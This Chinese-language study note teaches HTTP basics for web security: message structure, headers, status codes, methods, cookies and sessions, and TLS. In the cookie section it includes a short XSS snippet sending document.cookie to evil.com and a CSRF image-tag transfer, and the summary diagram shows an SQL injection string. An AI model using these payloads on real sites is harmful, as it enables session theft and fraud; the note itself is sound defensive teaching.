HTTP 协议基础
HTTP 协议基础
学 Web 安全,HTTP 就是地基。地基不牢,楼盖多高都白搭。今天咱们就把 HTTP 这块地基彻底夯实。
一、HTTP 是什么
先上比喻——HTTP 就像点外卖:
| 外卖场景 | HTTP 对应 |
|---|---|
| 顾客(你) | 浏览器(客户端 Client) |
| 餐厅 | 服务器(Server) |
| 你下的菜单 | 请求(Request) |
| 餐厅送来的菜 | 响应(Response) |
| 外卖小哥送餐的路 | 网络(TCP/IP 协议栈) |
| 点餐规则 | HTTP 协议 |
HTTP 的全称是HyperText Transfer Protocol(超文本传输协议),它是浏览器和服务器之间沟通的语言规则。你打开网页、提交表单、加载图片,背后全靠 HTTP 在跑。
请求-响应模型
HTTP 采用的是经典的请求-响应模型,简单来说就是:你问,它答,一问一答。
┌──────────┐ ┌──────────┐ │ │ ──── HTTP 请求 ────► │ │ │ 浏览器 │ (Request) │ 服务器 │ │ (Client) │ │ (Server) │ │ │ ◄──── HTTP 响应 ──── │ │ └──────────┘ (Response) └──────────┘ 顾客: "来一份宫保鸡丁!" 餐厅: "好嘞,您的宫保鸡丁!"关键特征:
- 无状态(Stateless):每次请求都是独立的,服务器默认不记得你上一次说了什么。就像外卖小哥送完这单就忘了你点了啥——所以才需要 Cookie 和 Session 来"记性"。
- 基于 TCP:HTTP 跑在 TCP 之上,默认端口80(HTTPS 默认443)。
- 请求由客户端发起:永远是浏览器先开口,服务器不会主动找你聊天(WebSocket 是后话)。
二、HTTP 请求结构
一个完整的 HTTP 请求报文长这样——就像一封信,有信封(请求行+请求头)和信纸(请求体):
2.1 请求行(Request Line)
请求行是报文的第一行,包含三个信息:
方法 URL 协议版本 GET /index.html HTTP/1.1| 组成部分 | 说明 | 举个栗子 |
|---|---|---|
| 方法(Method) | 你想对资源做什么操作 | GET(获取)、POST(提交) |
| URL(请求路径) | 你要访问的资源地址 | /login.php、/api/user?id=1 |
| 协议版本 | 用的 HTTP 版本 | HTTP/1.1、HTTP/2 |
2.2 请求头(Request Headers)
请求头就是一堆键值对,告诉服务器各种附加信息。就像你点外卖时的备注:“不要辣”、“送到XX地址”、“我用的饿了么 App”。
常见请求头一览:
| 请求头 | 一句话解释 | 安全相关性 |
|---|---|---|
Host | 你要访问的域名(必填),虚拟主机靠它区分站点 | Host 头注入:攻击者可篡改 Host 头影响服务端逻辑 |
User-Agent | 浏览器/客户端的身份标识 | 服务器可据此做访问控制,但容易被伪造 |
Cookie | 携带的身份凭证(Cookie 值) | 核心攻击面:Cookie 窃取 = 身份盗用 |
Content-Type | 请求体的数据格式 | application/x-www-form-urlencoded、application/json等,影响解析逻辑 |
Referer | 从哪个页面跳转过来的 | CSRF 防御中常校验 Referer,但也可伪造 |
Origin | 跨域请求的来源 | CORS 策略的核心判断依据 |
X-Forwarded-For | 客户端真实 IP(经过代理时) | IP 伪造:攻击者可篡改此头绕过 IP 限制 |
Authorization | 认证信息(如 Bearer Token) | 令牌泄露 = 账号沦陷 |
2.3 请求体(Request Body)
重点:不是所有请求都有请求体!
- GET 请求:没有请求体,参数全拼在 URL 上(
?id=1&name=admin) - POST 请求:有请求体,数据放在报文体里,相对"隐蔽"一些
注意:这里的"隐蔽"只是浏览器地址栏不显示,并非真的安全——抓包工具一抓一个准。
完整 HTTP 请求报文示例
POST /login.php HTTP/1.1 ← 请求行 Host: www.example.com ← 请求头开始 User-Agent: Mozilla/5.0 (Windows NT 10.0) Accept: text/html,application/xhtml+xml Cookie: PHPSESSID=abc123def456 Content-Type: application/x-www-form-urlencoded Content-Length: 35 Referer: https://www.example.com/login.html Connection: keep-alive ← 空行(请求头结束) username=admin&password=123456 ← 请求体注意那个空行——它很重要!HTTP 用一个空行来分隔请求头和请求体,就像信封和信纸之间的分界线。
三、HTTP 响应结构
服务器收到请求后,会返回一个 HTTP 响应。就像餐厅收到你的菜单后,给你送来菜品+小票。
3.1 状态行(Status Line)
响应的第一行是状态行:
协议版本 状态码 状态描述 HTTP/1.1 200 OK3.2 常见状态码
状态码就像餐厅给你的反馈暗号,三位数字,第一位表示大类:
2xx 成功——“您的菜来了”
| 状态码 | 含义 | 安全小贴士 |
|---|---|---|
| 200 | OK,请求成功 | 渗透测试中,200 = 目标存在且可访问 |
| 201 | Created,资源创建成功 | 常见于 API,成功创建了新数据 |
3xx 重定向——“您要去隔壁取餐”
| 状态码 | 含义 | 安全小贴士 |
|---|---|---|
| 301 | 永久重定向,资源搬家了 | 开放重定向漏洞:如果重定向目标可控,可被用于钓鱼 |
| 302 | 临时重定向,先去别处看看 | 同上,302 跳转是开放重定向的重灾区 |
| 304 | 未修改,用缓存就行 | 缓存投毒攻击的切入点 |
4xx 客户端错误——“你点的菜不存在/没权限”
| 状态码 | 含义 | 安全小贴士 |
|---|---|---|
| 403 | Forbidden,服务器拒绝访问 | 权限绕过测试的目标:能不能从 403 变 200? |
| 404 | Not Found,资源不存在 | 目录枚举的判据:404 = 不存在,非 404 = 可能存在 |
| 401 | Unauthorized,需要认证 | 未授权访问漏洞的入口 |
| 405 | Method Not Allowed | 方法限制绕过:换个 HTTP 方法试试? |
5xx 服务器错误——“餐厅后厨炸了”
| 状态码 | 含义 | 安全小贴士 |
|---|---|---|
| 500 | Internal Server Error,服务器内部错误 | 可能泄露堆栈信息、SQL 报错——信息收集的好帮手 |
| 502 | Bad Gateway,网关/上游服务挂了 | 说明有反向代理,可能存在请求走私 |
| 503 | Service Unavailable,服务暂不可用 | 可能是被 DoS 了 |
3.3 响应头(Response Headers)
响应头是服务器返回的附加信息,很多跟安全直接相关:
| 响应头 | 一句话解释 | 安全意义 |
|---|---|---|
Set-Cookie | 服务器给浏览器设置 Cookie | Cookie 没设 HttpOnly?XSS 可以偷! |
Location | 重定向目标地址 | 开放重定向漏洞的关键 |
Content-Type | 响应内容的类型 | MIME 嗅探攻击:类型不一致可能被利用 |
X-Frame-Options | 是否允许被 iframe 嵌入 | 防点击劫持(Clickjacking),没设置就危险 |
Content-Security-Policy | 内容安全策略(CSP) | XSS 的终极防线,限制脚本来源 |
Strict-Transport-Security | 强制 HTTPS(HSTS) | 防止 SSL 剥离攻击 |
X-Content-Type-Options | 禁止 MIME 嗅探 | 设为nosniff防止浏览器猜类型 |
Access-Control-Allow-Origin | CORS 跨域策略 | 配置不当 = 任意跨域读取数据 |
Server | 服务器软件信息 | 信息泄露:暴露了Apache/2.4.49就等着被 CVE 吧 |
完整 HTTP 响应报文示例
HTTP/1.1 200 OK ← 状态行 Date: Sat, 14 Jun 2026 08:30:00 GMT ← 响应头开始 Server: Apache/2.4.49 (Ubuntu) Content-Type: text/html; charset=UTF-8 Content-Length: 1234 Set-Cookie: PHPSESSID=abc123def456; path=/; HttpOnly; Secure X-Frame-Options: DENY X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Connection: keep-alive ← 空行(响应头结束) <!DOCTYPE html> ← 响应体 <html> <head><title>Welcome</title></head> <body><h1>Hello, admin!</h1></body> </html>四、HTTP 方法与安全
HTTP 定义了多种方法,每种方法的"语义"不同,安全风险也不同。
GET vs POST 的安全区别
这是面试和实战都高频出现的对比:
| 对比维度 | GET | POST |
|---|---|---|
| 参数位置 | URL 中(?key=value),地址栏可见 | 请求体中,地址栏不可见 |
| 浏览器缓存 | 会被缓存(出现在历史记录、日志中) | 默认不缓存 |
| 书签 | 可以收藏为书签 | 不行 |
| 编码类型 | application/x-www-form-urlencoded | 支持多种(含multipart/form-data文件上传) |
| 数据长度 | URL 长度有限制(浏览器/服务器各异) | 理论上无限制 |
| 幂等性 | 幂等(多次请求结果相同) | 非幂等(可能创建多条记录) |
安全结论:GET 参数会出现在 URL、浏览器历史、服务器日志、Referer 头中。密码、Token 等敏感数据绝不应该用 GET 传!但这不意味着 POST 就安全——抓包工具照样能看到请求体。
PUT/DELETE/OPTIONS 的安全风险
| 方法 | 正常用途 | 安全风险 |
|---|---|---|
| PUT | 上传/更新资源 | 如果服务器开放了 PUT 方法,攻击者可以上传 WebShell! |
| DELETE | 删除资源 | 未授权的 DELETE 请求可以删除服务器文件 |
| OPTIONS | 查询服务器支持哪些方法 | 信息泄露:暴露了支持的方法列表,攻击者就知道能用什么姿势搞事 |
| TRACE | 回显请求(调试用) | XST 攻击(跨站追踪):可窃取 Cookie,生产环境必须禁用 |
| HEAD | 只获取响应头(不返回体) | 可用于快速探测资源是否存在,不产生日志体 |
实战技巧:渗透测试时,先用
OPTIONS方法探测服务器支持哪些方法,再针对性利用。如果看到Allow: GET, POST, PUT, DELETE,那就有好戏看了。
五、Cookie 与 Session 机制
还记得前面说的 HTTP 是无状态的吗?服务器记不住你。但现实中的网站需要"记住"你——你登录之后总不能每点一个页面都重新输密码吧?于是 Cookie 和 Session 就来救场了。
5.1 Cookie 工作原理
Cookie 就像餐厅给你发的会员卡——每次来吃饭,出示会员卡,餐厅就知道你是老顾客。
浏览器 服务器 │ │ │ ① 首次请求: GET /login ──────────────────────► │ │ (没有 Cookie) │ │ │ │ ② 响应: 200 OK ◄────────────────────────────── │ │ Set-Cookie: session_id=xyz123 │ │ │ │ [浏览器保存 Cookie: session_id=xyz123] │ │ │ │ ③ 后续请求: GET /dashboard ──────────────────► │ │ Cookie: session_id=xyz123 │ │ │ │ [服务器: "哦! xyz123, 我认识你, 你是 admin!"] │ │ │ │ ④ 响应: 200 OK ◄────────────────────────────── │ │ (返回 admin 的页面内容) │本质:Cookie 是存储在浏览器端的一小段数据,每次请求时浏览器会自动把它附在请求头里发给服务器。
5.2 Session 工作原理
如果 Cookie 是会员卡,那Session 就是餐厅后台的会员档案:
- Cookie(浏览器端):只存一个
session_id(会员卡号) - Session(服务器端):存了你的完整信息(会员档案——姓名、等级、余额……)
工作流程:
- 用户登录 → 服务器创建 Session,存到内存/数据库/Redis
- 服务器把
session_id通过Set-Cookie发给浏览器 - 浏览器后续请求自动带上这个
session_id - 服务器根据
session_id查找对应的 Session 数据,识别用户身份
一句话总结:Cookie 是钥匙,Session 是保险柜。钥匙在你手里(浏览器),值钱的东西在保险柜里(服务器)。
5.3 Cookie 安全属性
这是 Web 安全中的重中之重,每个属性都要搞清楚:
Set-Cookie: session_id=abc123; path=/; domain=.example.com; expires=Thu, 31 Dec 2026 23:59:59 GMT; HttpOnly; Secure; SameSite=Lax| 属性 | 作用 | 安全意义 |
|---|---|---|
| HttpOnly | 禁止 JavaScript 读取此 Cookie | 防 XSS 窃取 Cookie:设了 HttpOnly,document.cookie就拿不到它 |
| Secure | 只在 HTTPS 连接下传输 | 防中间人窃听:HTTP 请求不会带上这个 Cookie |
| SameSite | 限制跨站请求携带 Cookie | 防 CSRF:Strict(严格)、Lax(宽松)、None(不限制,必须配合 Secure) |
| Path | Cookie 的有效路径 | 限制 Cookie 只在特定路径下发送,缩小攻击面 |
| Domain | Cookie 的有效域名 | 设为.example.com则子域名都能访问——子域漏洞可扩大攻击范围 |
| Expires/Max-Age | Cookie 的过期时间 | 过期时间太长 = 凭证长期有效,泄露风险增大 |
5.4 为什么 Cookie 安全设置很重要
Cookie 安全设置不到位,直接导致以下攻击成立:
场景一:XSS 窃取 Cookie
// 攻击者注入的恶意脚本<script>// 如果 Cookie 没有设 HttpOnly,这段代码就能偷到你的 CookienewImage().src="http://evil.com/steal?cookie="+document.cookie;</script>防御:设置
HttpOnly属性,JS 就读不到 Cookie 了。
场景二:CSRF 利用自动携带 Cookie
恶意网站的页面: <img src="https://bank.com/transfer?to=attacker&amount=10000"> 浏览器自动带上 bank.com 的 Cookie → 服务器以为是你本人操作 → 转账成功!防御:设置
SameSite=Lax或SameSite=Strict,跨站请求就不会自动带 Cookie。
关联笔记:
- [[XSS跨站脚本]] —— Cookie 窃取的主战场
- [[CSRF跨站请求伪造]] —— Cookie 自动携带机制的滥用
- [[认证与会话管理]] —— Session/Cookie 在认证体系中的核心地位
六、HTTPS 与 TLS
6.1 HTTP vs HTTPS 的区别
| 对比维度 | HTTP | HTTPS |
|---|---|---|
| 全称 | HyperText Transfer Protocol | HyperText Transfer ProtocolSecure |
| 端口 | 80 | 443 |
| 加密 | 明文传输,裸奔 | TLS/SSL 加密,穿了防弹衣 |
| 证书 | 不需要 | 需要 CA 颁发的数字证书 |
| 速度 | 稍快(无加密开销) | 稍慢(但现代硬件几乎无感) |
| SEO | 搜索引擎不偏好 | Google 明确表示 HTTPS 排名更高 |
安全大白话:HTTP 就像在大街上大声喊你的密码,HTTPS 就像在保险屋里悄悄说。中间人攻击对 HTTP 简直就是明抢,对 HTTPS 则几乎无从下手。
6.2 TLS 握手过程(简化版)
TLS 握手就像两个人第一次见面交换暗号的过程:
客户端(浏览器) 服务器 │ │ │ ① ClientHello │ │ "你好! 我支持这些加密算法, 这是我的随机数A" │ │ ──────────────────────────────────────────► │ │ │ │ ② ServerHello │ │ "好的! 我选这个算法, 这是我的随机数B" │ │ ◄────────────────────────────────────────── │ │ │ │ ③ 服务器发送证书 │ │ "这是我的身份证(数字证书), 请验证" │ │ ◄────────────────────────────────────────── │ │ │ │ ④ 客户端验证证书 │ │ [检查证书是否由可信CA签发、是否过期、域名匹配] │ │ │ │ ⑤ 密钥交换 │ │ "验证通过! 我们用随机数A+B算出对称密钥吧" │ │ ──────────────────────────────────────────► │ │ │ │ ⑥ 加密通信开始 │ │ ════════ 所有数据用对称密钥加密传输 ═════════ │ │ │核心要点:
- 非对称加密(RSA/ECC)用于握手阶段——安全地交换密钥
- 对称加密(AES)用于数据传输——速度快
- 这是一个"用非对称加密保护对称密钥交换"的经典设计
6.3 证书的作用
数字证书就是服务器的身份证,由CA(Certificate Authority,证书颁发机构)签发。
证书包含:
- 域名:这个证书是给谁的(
*.example.com) - 公钥:用于加密的公钥
- CA 的数字签名:证明这个证书是可信 CA 签发的
- 有效期:证书什么时候过期
安全关联:
- 证书过期 → 浏览器报警告 → 用户可能忽略 → 中间人攻击风险
- 自签名证书 → 不受信任 → 可能是钓鱼
- 证书透明度(Certificate Transparency)→ 可检测到被非法签发的证书
七、HTTP 与 Web 安全的关系
HTTP 协议的每一个组成部分都可能成为攻击面。来,做个全景总结:
┌─────────────────────────────────────────────────────────┐ │ HTTP 请求报文 │ │ │ │ 请求行: GET /page?id=1 HTTP/1.1 │ │ ↑ │ │ ├─ URL 参数 → [[SQL注入]]、[[XSS跨站脚本]] │ │ └─ 方法 → PUT 上传 WebShell │ │ │ │ 请求头: Host / Cookie / Referer / Content-Type │ │ ↑ │ │ ├─ Cookie → 会话劫持、CSRF │ │ ├─ Host → Host 头注入 │ │ ├─ Referer → [[CSRF跨站请求伪造]] 防御绕过 │ │ └─ XFF → IP 伪造绕过 │ │ │ │ 请求体: username=admin' OR 1=1--&password=xxx │ │ ↑ │ │ ├─ 用户输入 → [[SQL注入]]、[[XSS跨站脚本]] │ │ └─ 文件上传 → WebShell / 任意文件上传 │ │ │ └─────────────────────────────────────────────────────────┘ ┌─────────────────────────────────────────────────────────┐ │ HTTP 响应报文 │ │ │ │ 状态码: 200 / 302 / 403 / 500 │ │ ↑ │ │ ├─ 302 开放重定向 → 钓鱼 │ │ ├─ 403 权限绕过 → 越权访问 │ │ └─ 500 报错信息 → 信息泄露 │ │ │ │ 响应头: Set-Cookie / Location / CSP │ │ ↑ │ │ ├─ Set-Cookie 缺少 HttpOnly → XSS 窃取 Cookie│ │ ├─ Set-Cookie 缺少 SameSite → [[CSRF跨站请求伪造]]│ │ ├─ Location 可控 → 开放重定向 │ │ └─ CSP 缺失 → [[XSS跨站脚本]] 无防御 │ │ │ │ 响应体: <script>用户输入</script> │ │ ↑ │ │ └─ 反射型 XSS / 存储型 XSS / DOM 型 XSS │ │ │ └─────────────────────────────────────────────────────────┘安全关联速查表
| HTTP 组件 | 可能的安全漏洞 | 关联笔记 |
|---|---|---|
| URL 参数 | SQL 注入、XSS、命令注入、目录遍历 | [[SQL注入]]、[[XSS跨站脚本]] |
| Cookie | 会话劫持、CSRF、Cookie 注入 | [[CSRF跨站请求伪造]]、[[认证与会话管理]] |
| 请求头 | Host 头注入、请求走私、CRLF 注入 | [[HTTP请求走私]] |
| 请求体 | 文件上传漏洞、XXE、反序列化 | [[文件上传漏洞]] |
| 响应头 | 信息泄露、安全头缺失 | [[认证与会话管理]] |
| 响应体 | XSS、敏感信息泄露 | [[XSS跨站脚本]] |
| HTTP 方法 | PUT 上传、TRACE 泄露 | - |
| URL 路径 | SSRF、目录遍历、路径穿越 | [[SSRF服务端请求伪造]] |
总结
- HTTP 是 Web 安全的基石——不懂 HTTP,做安全就是空中楼阁
- 请求的每个部分都可能被攻击——URL、请求头、请求体,无一幸免
- 响应的每个部分都可能泄露信息——状态码、响应头、响应体,都有文章
- Cookie/Session 机制是认证的核心——安全属性必须正确配置
- HTTPS 不是万能的,但不用 HTTPS 是万万不能的
把 HTTP 基础打扎实了,后面的漏洞攻防才能学得明白。
